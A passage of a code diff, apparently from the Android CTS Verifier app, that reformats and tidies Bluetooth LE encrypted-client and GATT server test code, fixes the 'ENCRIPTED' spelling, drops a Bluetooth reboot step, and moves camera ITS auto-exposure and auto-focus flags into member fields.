- if (shouldRebootBluetoothAfterTest()) {
- mBtPowerSwitcher.executeSwitching();
- } else {
- getPassButton().setEnabled(true);
- }
+ getPassButton().setEnabled(true);
}
}
};
private static final long BT_ON_DELAY = 10000;
private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();
+
private class BluetoothPowerSwitcher extends BroadcastReceiver {
private boolean mIsSwitching = false;
@@ -456,7 +460,8 @@
public void executeSwitching() {
if (mAdapter == null) {
- BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+ BluetoothManager btMgr = (BluetoothManager) getSystemService(
+ Context.BLUETOOTH_SERVICE);
mAdapter = btMgr.getAdapter();
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
index ad4e39f..2483a04 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
@@ -48,10 +48,10 @@
private Dialog mDialog;
private Handler mHandler;
- private final int BLE_WRITE_ENCRIPTED_CHARACTERISTIC = 0;
- private final int BLE_READ_ENCRIPTED_CHARACTERISTIC = 1;
- private final int BLE_WRITE_ENCRIPTED_DESCRIPTOR = 2;
- private final int BLE_READ_ENCRIPTED_DESCRIPTOR = 3;
+ private final int BLE_WRITE_ENCRYPTED_CHARACTERISTIC = 0;
+ private final int BLE_READ_ENCRYPTED_CHARACTERISTIC = 1;
+ private final int BLE_WRITE_ENCRYPTED_DESCRIPTOR = 2;
+ private final int BLE_READ_ENCRYPTED_DESCRIPTOR = 3;
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -70,23 +70,28 @@
listView.setOnItemClickListener(new ListView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> adapterView, View view, int position, long id) {
- Intent intent = new Intent(BleEncryptedClientBaseActivity.this, BleEncryptedClientService.class);
+ Intent intent = new Intent(BleEncryptedClientBaseActivity.this,
+ BleEncryptedClientService.class);
Log.v(getLocalClassName(), "onItemClick()");
switch (position) {
- case BLE_WRITE_ENCRIPTED_CHARACTERISTIC:
- intent.setAction(BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_CHARACTERISTIC);
- break;
- case BLE_READ_ENCRIPTED_CHARACTERISTIC:
- intent.setAction(BleEncryptedClientService.ACTION_READ_ENCRYPTED_CHARACTERISTIC);
- break;
- case BLE_WRITE_ENCRIPTED_DESCRIPTOR:
- intent.setAction(BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_DESCRIPTOR);
- break;
- case BLE_READ_ENCRIPTED_DESCRIPTOR:
- intent.setAction(BleEncryptedClientService.ACTION_READ_ENCRYPTED_DESCRIPTOR);
- break;
- default:
- return;
+ case BLE_WRITE_ENCRYPTED_CHARACTERISTIC:
+ intent.setAction(
+ BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_CHARACTERISTIC);
+ break;
+ case BLE_READ_ENCRYPTED_CHARACTERISTIC:
+ intent.setAction(
+ BleEncryptedClientService.ACTION_READ_ENCRYPTED_CHARACTERISTIC);
+ break;
+ case BLE_WRITE_ENCRYPTED_DESCRIPTOR:
+ intent.setAction(
+ BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_DESCRIPTOR);
+ break;
+ case BLE_READ_ENCRYPTED_DESCRIPTOR:
+ intent.setAction(
+ BleEncryptedClientService.ACTION_READ_ENCRYPTED_DESCRIPTOR);
+ break;
+ default:
+ return;
}
startService(intent);
showProgressDialog();
@@ -174,77 +179,83 @@
return false;
}
- public boolean isSecure() { return false; }
+ public boolean isSecure() {
+ return false;
+ }
private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
switch (action) {
- case BleEncryptedClientService.INTENT_BLE_BLUETOOTH_DISABLED:
- showErrorDialog(getString(R.string.ble_bluetooth_disable_title), getString(R.string.ble_bluetooth_disable_message), true);
- break;
- case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC:
- mTestAdapter.setTestPass(BLE_WRITE_ENCRIPTED_CHARACTERISTIC);
- mAllPassed |= 0x01;
- if (!isSecure()) {
+ case BleEncryptedClientService.INTENT_BLE_BLUETOOTH_DISABLED:
+ showErrorDialog(getString(R.string.ble_bluetooth_disable_title),
+ getString(R.string.ble_bluetooth_disable_message), true);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC:
+ mTestAdapter.setTestPass(BLE_WRITE_ENCRYPTED_CHARACTERISTIC);
+ mAllPassed |= 0x01;
closeDialog();
- }
- break;
- case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC:
- mTestAdapter.setTestPass(BLE_READ_ENCRIPTED_CHARACTERISTIC);
- mAllPassed |= 0x02;
- if (!isSecure()) {
+ break;
+ case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC:
+ mTestAdapter.setTestPass(BLE_READ_ENCRYPTED_CHARACTERISTIC);
+ mAllPassed |= 0x02;
closeDialog();
- }
- break;
- case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR:
- mTestAdapter.setTestPass(BLE_WRITE_ENCRIPTED_DESCRIPTOR);
- mAllPassed |= 0x04;
- if (!isSecure()) {
+ break;
+ case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR:
+ mTestAdapter.setTestPass(BLE_WRITE_ENCRYPTED_DESCRIPTOR);
+ mAllPassed |= 0x04;
closeDialog();
- }
- break;
- case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR:
- mTestAdapter.setTestPass(BLE_READ_ENCRIPTED_DESCRIPTOR);
- mAllPassed |= 0x08;
- if (!isSecure()) {
+ break;
+ case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR:
+ mTestAdapter.setTestPass(BLE_READ_ENCRYPTED_DESCRIPTOR);
+ mAllPassed |= 0x08;
closeDialog();
- }
- break;
- case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_characteristic), false);
- break;
- case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_characteristic), false);
- break;
- case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_descriptor), false);
- break;
- case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_descriptor), false);
- break;
+ break;
+ case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name),
+ getString(R.string.ble_encrypted_client_no_encrypted_characteristic),
+ false);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name),
+ getString(R.string.ble_encrypted_client_no_encrypted_characteristic),
+ false);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name),
+ getString(R.string.ble_encrypted_client_no_encrypted_descriptor),
+ false);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name),
+ getString(R.string.ble_encrypted_client_no_encrypted_descriptor),
+ false);
+ break;
- case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_write_encrypted_characteristic), false);
- break;
- case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_read_encrypted_characteristic), false);
- break;
- case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_write_encrypted_descriptor), false);
- break;
- case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_read_encrypted_descriptor), false);
- break;
+ case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(
+ R.string.ble_encrypted_client_fail_write_encrypted_characteristic),
+ false);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(
+ R.string.ble_encrypted_client_fail_read_encrypted_characteristic),
+ false);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(
+ R.string.ble_encrypted_client_fail_write_encrypted_descriptor), false);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name),
+ getString(R.string.ble_encrypted_client_fail_read_encrypted_descriptor),
+ false);
+ break;
- case BleEncryptedClientService.ACTION_DISCONNECTED:
- if (shouldRebootBluetoothAfterTest()) {
- mBtPowerSwitcher.executeSwitching();
- } else {
+ case BleEncryptedClientService.ACTION_DISCONNECTED:
closeDialog();
- }
- break;
+ break;
}
mTestAdapter.notifyDataSetChanged();
@@ -256,6 +267,7 @@
private static final long BT_ON_DELAY = 10000;
private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();
+
private class BluetoothPowerSwitcher extends BroadcastReceiver {
private boolean mIsSwitching = false;
@@ -263,7 +275,8 @@
public void executeSwitching() {
if (mAdapter == null) {
- BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+ BluetoothManager btMgr = (BluetoothManager) getSystemService(
+ Context.BLUETOOTH_SERVICE);
mAdapter = btMgr.getAdapter();
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
index 1cd3093..4d5f4a6 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
@@ -84,7 +84,8 @@
public static final String BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION =
"com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION";
public static final String BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION =
- "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION";
+ "com.android.cts.verifier.bluetooth"
+ + ".BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION";
public static final String BLE_CHARACTERISTIC_READ_REQUEST_NEED_ENCRYPTED =
"com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_REQUEST_NEED_ENCRYPTED";
public static final String BLE_CHARACTERISTIC_WRITE_REQUEST_NEED_ENCRYPTED =
@@ -128,7 +129,7 @@
UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
private static final UUID DESCRIPTOR_UUID =
UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");
- public static final UUID ADV_SERVICE_UUID=
+ public static final UUID ADV_SERVICE_UUID =
UUID.fromString("00003333-0000-1000-8000-00805f9b34fb");
private static final UUID SERVICE_UUID_ADDITIONAL =
@@ -299,20 +300,20 @@
String action = intent.getAction();
if (action != null) {
switch (action) {
- case BLE_ACTION_SERVER_SECURE:
- mSecure = true;
- if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
- showMessage("Skip MTU test.");
- mCountMtuChange = 1;
- notifyMtuRequest();
- mCountMtuChange = 2;
- notifyMtuRequest();
- mCountMtuChange = 0;
- }
- break;
- case BLE_ACTION_SERVER_NON_SECURE:
- mSecure = false;
- break;
+ case BLE_ACTION_SERVER_SECURE:
+ mSecure = true;
+ if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
+ showMessage("Skip MTU test.");
+ mCountMtuChange = 1;
+ notifyMtuRequest();
+ mCountMtuChange = 2;
+ notifyMtuRequest();
+ mCountMtuChange = 0;
+ }
+ break;
+ case BLE_ACTION_SERVER_NON_SECURE:
+ mSecure = false;
+ break;
}
}
@@ -333,7 +334,7 @@
cancelNotificationTaskOfSecureTestStartFailure();
stopAdvertise();
if (mGattServer == null) {
- return;
+ return;
}
if (mDevice != null) {
mGattServer.cancelConnection(mDevice);
@@ -627,7 +628,8 @@
private BluetoothGattService createServiceChangedService() {
BluetoothGattService service =
- new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+ new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED,
+ BluetoothGattService.SERVICE_TYPE_PRIMARY);
BluetoothGattCharacteristic dummyCharacteristic =
new BluetoothGattCharacteristic(SERVICE_CHANGED_CHARACTERISTIC_UUID, 0x02, 0x02);
@@ -638,15 +640,16 @@
/**
* Create service for notification test
- * @return
*/
private BluetoothGattService createAdditionalNotificationService() {
BluetoothGattService service =
- new BluetoothGattService(SERVICE_UUID_ADDITIONAL, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+ new BluetoothGattService(SERVICE_UUID_ADDITIONAL,
+ BluetoothGattService.SERVICE_TYPE_PRIMARY);
BluetoothGattCharacteristic notiCharacteristic =
new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_1, 0x12, 0x1);
- BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+ BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID,
+ 0x11);
descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
notiCharacteristic.addDescriptor(descriptor);
notiCharacteristic.setValue(NOTIFY_VALUE);
@@ -738,7 +741,8 @@
descriptor.setValue(WRITE_VALUE.getBytes());
characteristic.addDescriptor(descriptor);
- BluetoothGattDescriptor descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_READ_UUID, 0x10);
+ BluetoothGattDescriptor descriptor_permission = new BluetoothGattDescriptor(
+ DESCRIPTOR_NO_READ_UUID, 0x10);
characteristic.addDescriptor(descriptor_permission);
descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_WRITE_UUID, 0x01);
@@ -749,10 +753,12 @@
characteristic =
new BluetoothGattCharacteristic(CHARACTERISTIC_RESULT_UUID, 0x0A, 0x11);
- BluetoothGattDescriptor descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID, 0x02);
+ BluetoothGattDescriptor descriptor_encrypted = new BluetoothGattDescriptor(
+ DESCRIPTOR_NEED_ENCRYPTED_READ_UUID, 0x02);
characteristic.addDescriptor(descriptor_encrypted);
- descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, 0x20);
+ descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID,
+ 0x20);
characteristic.addDescriptor(descriptor_encrypted);
service.addCharacteristic(characteristic);
@@ -770,11 +776,13 @@
// Registered the characteristic of authenticate (Encrypted) for operation confirmation.
characteristic =
- new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID, 0x0A, 0x02);
+ new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID, 0x0A,
+ 0x02);
service.addCharacteristic(characteristic);
characteristic =
- new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID, 0x0A, 0x20);
+ new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID, 0x0A,
+ 0x20);
service.addCharacteristic(characteristic);
// Add new Characteristics(Indicate)
@@ -837,7 +845,8 @@
// Add new Characteristics (Service change control)
BluetoothGattCharacteristic controlCharacteristic =
- new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08, 0x10);
+ new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08,
+ 0x10);
service.addCharacteristic(controlCharacteristic);
return service;
@@ -892,7 +901,8 @@
if (newState == BluetoothProfile.STATE_CONNECTED) {
mDevice = device;
boolean bonded = false;
- Set<BluetoothDevice> pairedDevices = mBluetoothManager.getAdapter().getBondedDevices();
+ Set<BluetoothDevice> pairedDevices =
+ mBluetoothManager.getAdapter().getBondedDevices();
if (pairedDevices.size() > 0) {
for (BluetoothDevice target : pairedDevices) {
if (target.getAddress().equals(device.getAddress())) {
@@ -902,7 +912,8 @@
}
}
- if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE) || !bonded)) {
+ if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE)
+ || !bonded)) {
// not pairing and execute Secure Test
cancelNotificationTaskOfSecureTestStartFailure();
/*
@@ -910,7 +921,8 @@
@Override
public void run() {
mNotificationTaskOfSecureTestStartFailure = null;
- if (mSecure && (mDevice.getBondState() != BluetoothDevice.BOND_BONDED)) {
+ if (mSecure && (mDevice.getBondState() != BluetoothDevice
+ .BOND_BONDED)) {
notifyMismatchSecure();
}
}
@@ -918,7 +930,8 @@
mHandler.postDelayed(mNotificationTaskOfSecureTestStartFailure,
NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE);
*/
- } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE) || bonded)) {
+ } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE)
+ || bonded)) {
// already pairing nad execute Insecure Test
/*
notifyMismatchInsecure();
@@ -946,11 +959,13 @@
if (uuid.equals(mService.getUuid())) {
// create and add nested service
BluetoothGattService includedService =
- new BluetoothGattService(SERVICE_UUID_INCLUDED, BluetoothGattService.SERVICE_TYPE_SECONDARY);
+ new BluetoothGattService(SERVICE_UUID_INCLUDED,
+ BluetoothGattService.SERVICE_TYPE_SECONDARY);
BluetoothGattCharacteristic characteristic =
- new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
+ new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
characteristic.setValue(WRITE_VALUE.getBytes());
- BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+ BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(
+ DESCRIPTOR_UUID, 0x11);
descriptor.setValue(WRITE_VALUE.getBytes());
characteristic.addDescriptor(descriptor);
includedService.addCharacteristic(characteristic);
@@ -972,7 +987,8 @@
}
@Override
- public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset, BluetoothGattCharacteristic characteristic) {
+ public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset,
+ BluetoothGattCharacteristic characteristic) {
if (mGattServer == null) {
if (DEBUG) {
Log.d(TAG, "GattServer is null, return");
@@ -1024,7 +1040,8 @@
return;
}
if (DEBUG) {
- Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite + ", responseNeeded= " + responseNeeded);
+ Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite
+ + ", responseNeeded= " + responseNeeded);
}
if (characteristic.getUuid().equals(CHARACTERISTIC_RESULT_UUID)) {
@@ -1048,14 +1065,16 @@
break;
}
if (responseNeeded) {
- mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+ mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+ value);
}
return;
}
if (characteristic.getUuid().equals(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID)) {
if (responseNeeded) {
- mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+ mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+ value);
}
mGattServer.removeService(mServiceChangedService);
return;
@@ -1073,7 +1092,8 @@
}
}
if (responseNeeded) {
- mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+ mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+ value);
}
return;
@@ -1092,7 +1112,8 @@
} else {
characteristic.setValue(value);
// verify
- if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), characteristic.getValue())) {
+ if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(),
+ characteristic.getValue())) {
UUID uid = characteristic.getUuid();
if (uid.equals(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
notifyCharacteristicWriteRequestNeedEncrypted();
@@ -1105,7 +1126,8 @@
}
if (responseNeeded) {
- mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+ mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+ value);
}
}
@@ -1118,13 +1140,13 @@
}
return;
}
- if (DEBUG) {
+ if (DEBUG) {
Log.d(TAG, "onDescriptorReadRequest(): (descriptor == getDescriptor())="
+ (descriptor == getDescriptor()));
}
UUID uid = descriptor.getUuid();
- if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID)){
+ if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID)) {
notifyDescriptorReadRequestNeedEncrypted();
} else {
notifyDescriptorReadRequest();
@@ -1142,7 +1164,7 @@
public void onDescriptorWriteRequest(BluetoothDevice device, int requestId,
BluetoothGattDescriptor descriptor,
boolean preparedWrite, boolean responseNeeded,
- int offset, byte[] value) {
+ int offset, byte[] value) {
if (mGattServer == null) {
if (DEBUG) {
Log.d(TAG, "GattServer is null, return");
@@ -1152,7 +1174,8 @@
BluetoothGattCharacteristic characteristic = descriptor.getCharacteristic();
UUID uid = characteristic.getUuid();
if (DEBUG) {
- Log.d(TAG, "onDescriptorWriteRequest: preparedWrite=" + preparedWrite + ", responseNeeded= " + responseNeeded);
+ Log.d(TAG, "onDescriptorWriteRequest: preparedWrite=" + preparedWrite
+ + ", responseNeeded= " + responseNeeded);
Log.d(TAG, " characteristic uuid = " + uid);
}
@@ -1161,11 +1184,14 @@
if (duid.equals(UPDATE_DESCRIPTOR_UUID)) {
if (Arrays.equals(value, BluetoothGattDescriptor.ENABLE_NOTIFICATION_VALUE)) {
mGattServer.notifyCharacteristicChanged(
- mDevice, descriptor.getCharacteristic(), false, value);
+ mDevice, descriptor.getCharacteristic(), false,
+ characteristic.getValue());
+
mIndicated = false;
} else if (Arrays.equals(value, BluetoothGattDescriptor.ENABLE_INDICATION_VALUE)) {
mGattServer.notifyCharacteristicChanged(
- mDevice, descriptor.getCharacteristic(), true, value);
+ mDevice, descriptor.getCharacteristic(), true,
+ characteristic.getValue());
mIndicated = true;
}
} else if (duid.equals(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID)) {
@@ -1184,7 +1210,8 @@
}
}
if (responseNeeded) {
- mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+ mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+ value);
}
}
@@ -1279,14 +1306,14 @@
Log.d(TAG, "startAdvertise");
}
AdvertiseData data = new AdvertiseData.Builder()
- .addServiceData(new ParcelUuid(ADV_SERVICE_UUID), new byte[]{1,2,3})
- .addServiceUuid(new ParcelUuid(ADV_SERVICE_UUID))
- .build();
+ .addServiceData(new ParcelUuid(ADV_SERVICE_UUID), new byte[]{1, 2, 3})
+ .addServiceUuid(new ParcelUuid(ADV_SERVICE_UUID))
+ .build();
AdvertiseSettings setting = new AdvertiseSettings.Builder()
- .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
- .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
- .setConnectable(true)
- .build();
+ .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
+ .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
+ .setConnectable(true)
+ .build();
mAdvertiser.startAdvertising(setting, data, mAdvertiseCallback);
}
@@ -1299,7 +1326,7 @@
}
}
- private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback(){
+ private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback() {
@Override
public void onStartFailure(int errorCode) {
// Implementation for API Test.
@@ -1325,7 +1352,8 @@
}
};
- /*protected*/ static void dumpService(BluetoothGattService service, int level) {
+ /*protected*/
+ static void dumpService(BluetoothGattService service, int level) {
String indent = "";
for (int i = 0; i < level; ++i) {
indent += " ";
@@ -1337,18 +1365,20 @@
for (BluetoothGattCharacteristic ch : service.getCharacteristics()) {
Log.d(TAG, indent + " UUID: " + ch.getUuid());
Log.d(TAG, indent + " properties: " + String.format("0x%02X", ch.getProperties()));
- Log.d(TAG, indent + " permissions: " + String.format("0x%02X", ch.getPermissions()));
+ Log.d(TAG,
+ indent + " permissions: " + String.format("0x%02X", ch.getPermissions()));
Log.d(TAG, indent + " [descriptors]");
for (BluetoothGattDescriptor d : ch.getDescriptors()) {
Log.d(TAG, indent + " UUID: " + d.getUuid());
- Log.d(TAG, indent + " permissions: " + String.format("0x%02X", d.getPermissions()));
+ Log.d(TAG, indent + " permissions: " + String.format("0x%02X",
+ d.getPermissions()));
}
}
if (service.getIncludedServices() != null) {
Log.d(TAG, indent + " [included services]");
for (BluetoothGattService s : service.getIncludedServices()) {
- dumpService(s, level+1);
+ dumpService(s, level + 1);
}
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index bc5e238..193ce0e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -248,6 +248,8 @@
private volatile boolean mLockedAWB = false;
private volatile boolean mNeedsLockedAE = false;
private volatile boolean mNeedsLockedAWB = false;
+ private volatile boolean mDoAE = true;
+ private volatile boolean mDoAF = true;
class MySensorEvent {
public Sensor sensor;
@@ -1447,26 +1449,23 @@
// By default, AE and AF both get triggered, but the user can optionally override this.
// Also, AF won't get triggered if the lens is fixed-focus.
- boolean doAE = true;
- boolean doAF = true;
if (params.has(TRIGGER_KEY)) {
JSONObject triggers = params.getJSONObject(TRIGGER_KEY);
if (triggers.has(TRIGGER_AE_KEY)) {
- doAE = triggers.getBoolean(TRIGGER_AE_KEY);
+ mDoAE = triggers.getBoolean(TRIGGER_AE_KEY);
}
if (triggers.has(TRIGGER_AF_KEY)) {
- doAF = triggers.getBoolean(TRIGGER_AF_KEY);
+ mDoAF = triggers.getBoolean(TRIGGER_AF_KEY);
}
}
- Float minFocusDistance = c.get(
- CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE);
- boolean isFixedFocusLens = minFocusDistance != null && minFocusDistance == 0.0;
- if (doAF && isFixedFocusLens) {
+
+ boolean isFixedFocusLens = isFixedFocusLens(c);
+ if (mDoAF && isFixedFocusLens) {
// Send a fake result back for the code that is waiting for this message to see
// that AF has converged.
Logt.i(TAG, "Ignoring request for AF on fixed-focus camera");
mSocketRunnableObj.sendResponse("afResult", "0.0");
- doAF = false;
+ mDoAF = false;
}
mInterlock3A.open();
@@ -1486,7 +1485,7 @@
boolean triggeredAF = false;
Logt.i(TAG, String.format("Initiating 3A: AE:%d, AF:%d, AWB:1, AELOCK:%d, AWBLOCK:%d",
- doAE?1:0, doAF?1:0, mNeedsLockedAE?1:0, mNeedsLockedAWB?1:0));
+ mDoAE?1:0, mDoAF?1:0, mNeedsLockedAE?1:0, mNeedsLockedAWB?1:0));
// Keep issuing capture requests until 3A has converged.
while (true) {
@@ -1505,10 +1504,10 @@
synchronized(m3AStateLock) {
// If not converged yet, issue another capture request.
- if ( (doAE && (!triggeredAE || !mConvergedAE))
+ if ( (mDoAE && (!triggeredAE || !mConvergedAE))
|| !mConvergedAWB
- || (doAF && (!triggeredAF || !mConvergedAF))
- || (doAE && mNeedsLockedAE && !mLockedAE)
+ || (mDoAF && (!triggeredAF || !mConvergedAF))
+ || (mDoAE && mNeedsLockedAE && !mLockedAE)
|| (mNeedsLockedAWB && !mLockedAWB)) {
// Baseline capture request for 3A.
@@ -1553,7 +1552,7 @@
